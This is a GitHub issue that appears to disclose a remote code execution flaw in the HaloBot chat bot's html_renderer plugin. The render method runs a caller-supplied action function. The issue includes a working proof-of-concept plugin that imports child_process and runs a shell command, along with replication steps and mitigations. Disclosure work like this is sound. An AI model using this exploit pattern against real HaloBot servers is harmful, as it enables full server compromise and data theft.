Skip to content

Remote Code Execution in HaloBot via Insecure Function Call in html_renderer Plugin #20

@rassec2

Description

@rassec2

Remote Code Execution in HaloBot via Insecure Function Call in html_renderer Plugin

1. Vulnerability Information

  • Affected Software: HaloBot
  • Affected Version: Latest version on the master branch (as of the discovery date)
  • Affected Component: html_renderer plugin (plugins/html_renderer/index.js)
  • Vulnerability Type: CWE-913: Improper Control of Dynamically-Managed Code Resources
  • Discovered By: SOCTeam AI
  • Code:https://github.com/SamuNatsu/HaloBot

2. Vulnerability Description

The html_renderer core plugin in HaloBot provides a render method for rendering HTML or URLs into images. This method can be invoked by other plugins through the api.callPluginMethod inter-plugin API.

The render method accepts an action parameter, which can be a JavaScript function. The html_renderer plugin executes this function within the context of a Puppeteer browser page. Because the Puppeteer execution environment has access to Node.js core modules (such as child_process), any plugin that can call this method can pass a maliciously crafted action function to execute arbitrary system commands on the server running HaloBot, with the privileges of the bot's process.

This vulnerability breaks the security sandbox between plugins, allowing a low-privileged, seemingly harmless plugin to gain full control over the server.

3. Technical Details

The vulnerability originates in the renderWorker function within plugins/html_renderer/index.js. This function checks if an action property exists on the incoming task object. If it does, the function is executed directly on the Puppeteer page instance.

// file: plugins/html_renderer/index.js (Simplified)
async function renderWorker(task) {
  // ... (Page navigation, etc.)

  if (task.action) {
    logger.info('Executing additional action');
    await task.action(page); // <--- Vulnerability Trigger: The provided function is executed directly.
  }

  // ... (Screenshot and return)
}

An attacker can write a plugin that calls the rainiar.html_renderer.render method and provides a malicious action function.

4. Proof of Concept (PoC)

The following PoC plugin (poc_exploit) demonstrates the vulnerability by calling the render method with a malicious action function. This function uses a dynamic import() to load the Node.js child_process module and executes the touch RCE_SUCCESSFUL command, creating a file in the HaloBot project's root directory.

PoC Plugin (plugins/poc_exploit/index.js):

import { definePlugin } from '../../HaloBotPlugin.js';

// Malicious action function
const maliciousAction = async (puppeteerPage) => {
    try {
        const { execSync } = await import('child_process');
        execSync('touch RCE_SUCCESSFUL'); // Execute a system command
        console.log('RCE POC: Successfully executed malicious action.');
    } catch (e) {
        console.error('RCE POC: Failed to execute malicious action.', e);
    }
};

export default definePlugin({
    // ... (Plugin metadata)

    async handleMessage(ev) {
        if (ev.raw_message === '#exploit rce') {
            this.api.reply(ev, '[POC] Attempting RCE attack...');
            try {
                await this.api.callPluginMethod('rainiar.html_renderer', 'render', {
                    type: 'text',
                    target: 'hello', // Render content is not important
                    action: maliciousAction, // Pass the malicious function
                });
                this.api.reply(ev, 'RCE command sent.');
            } catch (e) {
                this.api.reply(ev, `RCE failed: ${e.message}`);
            }
        }
    }
});

Replication Steps:

  1. Install and enable the html_renderer plugin and the poc_exploit plugin above.
  2. Send a message to the bot: #exploit rce.
  3. Check the root directory of the HaloBot project. A new file named RCE_SUCCESSFUL will be present, proving that arbitrary code was executed.
Image

5. Impact

An attacker who successfully exploits this vulnerability can execute arbitrary commands on the server hosting HaloBot with the permissions of the user running the Node.js process. This could lead to:

  • Complete server compromise.
  • Exfiltration of sensitive data.
  • The server being used as part of a botnet for further attacks.

6. Mitigation

It is strongly recommended to take the following actions immediately to remediate this vulnerability:

  1. Remove the action Parameter: Completely remove the handling of the action parameter from the render method in the html_renderer plugin. This is the most direct and effective fix. A plugin should never be allowed to execute an arbitrary function provided by another plugin.
  2. Input Validation: Implement strict type and content validation for all parameters passed through the plugin API.
  3. Code Audit: Conduct a comprehensive security audit of all inter-plugin APIs to identify and remove other similar insecure design patterns.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions